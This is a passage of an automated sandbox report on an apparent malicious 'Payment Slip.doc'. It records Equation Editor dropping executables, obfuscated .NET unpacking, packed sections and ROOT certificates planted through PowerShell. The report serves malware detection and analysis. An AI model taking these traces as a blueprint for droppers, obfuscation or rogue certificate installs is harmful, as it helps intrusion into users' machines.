Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: Payment Slip.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Payment Slip.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation

.NET source code contains potential unpacker

Source: LLnsOpxxAnmWi[1].exe.2.dr, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: vvndewepeter91026.exe.2.dr, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.25802e8.3.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.3d0000.0.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.252583c.4.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.2576cd0.2.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs	.Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.252ee54.5.raw.unpack, JK.cs	.Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs	.Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00546354 push ss; ret	2_2_005464EC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005401F4 push eax; retf	2_2_005401F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0054FB99 push eax; ret	2_2_0054FBA1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0054C28C pushad ; retn 0054h	2_2_0054C28D
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_002662A4 push esp; iretd	5_2_002662A9
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_00266922 pushfd ; iretd	5_2_00266929
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 5_2_00265F9A push eax; retf	5_2_00265FA1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_002321AD push ebx; iretd	8_2_002321EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_002321FD push ebx; iretd	8_2_002321EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_0023D410 push edi; retf 0023h	8_2_0023D411
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00609590 pushfd ; retn 005Eh	8_2_00609591
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C328F7 push ds; ret	8_2_00C328FE
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C32880 push cs; ret	8_2_00C32882
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C32847 push es; ret	8_2_00C3284A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C32845 push es; ret	8_2_00C32846
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C32903 push ds; ret	8_2_00C32906
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00C32901 push ds; ret	8_2_00C32902

Source: LLnsOpxxAnmWi[1].exe.2.dr	Static PE information: section name: .text entropy: 7.882388794743662
Source: vvndewepeter91026.exe.2.dr	Static PE information: section name: .text entropy: 7.882388794743662

Source: 5.2.vvndewepeter91026.exe.25802e8.3.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.3d0000.0.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.252583c.4.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.2576cd0.2.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Rsjwms4Wh8At7jltVf.cs	High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, hnb1mywmKd17dlbrAS.cs	High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, LVNaJWsMIVA7LTLASE.cs	High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, D33N8oUtGVx7cDxPuT.cs	High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs	High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, ksWtZCxKsl0TxRCTo8.cs	High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs	High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs	High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, lDlgAUP9SyyXYURNLR.cs	High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, sC7nprRRvT8OJFZjOZ.cs	High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, fSdvMKZMagrtwMm7Ri.cs	High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, O9PymkJ3NMlC2399qj.cs	High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, pBjySHqM5QnwRNWaSBd.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs	High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, KdpVO0auC752URy1LH.cs	High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, AnptoFjC7pNu1LqbY6.cs	High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, qyT5B9fG4eENyHVdsw.cs	High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, ojeKecA3ycAgUvCgAn.cs	High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, kIOpWCowqWShKUKAee.cs	High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, KSQ07YHqchvMXla9N1.cs	High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs	High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'
Source: 5.2.vvndewepeter91026.exe.252ee54.5.raw.unpack, JK.cs	High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Rsjwms4Wh8At7jltVf.cs	High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, hnb1mywmKd17dlbrAS.cs	High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, LVNaJWsMIVA7LTLASE.cs	High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, D33N8oUtGVx7cDxPuT.cs	High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs	High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, ksWtZCxKsl0TxRCTo8.cs	High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs	High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs	High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, lDlgAUP9SyyXYURNLR.cs	High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, sC7nprRRvT8OJFZjOZ.cs	High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, fSdvMKZMagrtwMm7Ri.cs	High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, O9PymkJ3NMlC2399qj.cs	High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, pBjySHqM5QnwRNWaSBd.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs	High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, KdpVO0auC752URy1LH.cs	High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, AnptoFjC7pNu1LqbY6.cs	High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, qyT5B9fG4eENyHVdsw.cs	High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, ojeKecA3ycAgUvCgAn.cs	High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, kIOpWCowqWShKUKAee.cs	High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, KSQ07YHqchvMXla9N1.cs	High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs	High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
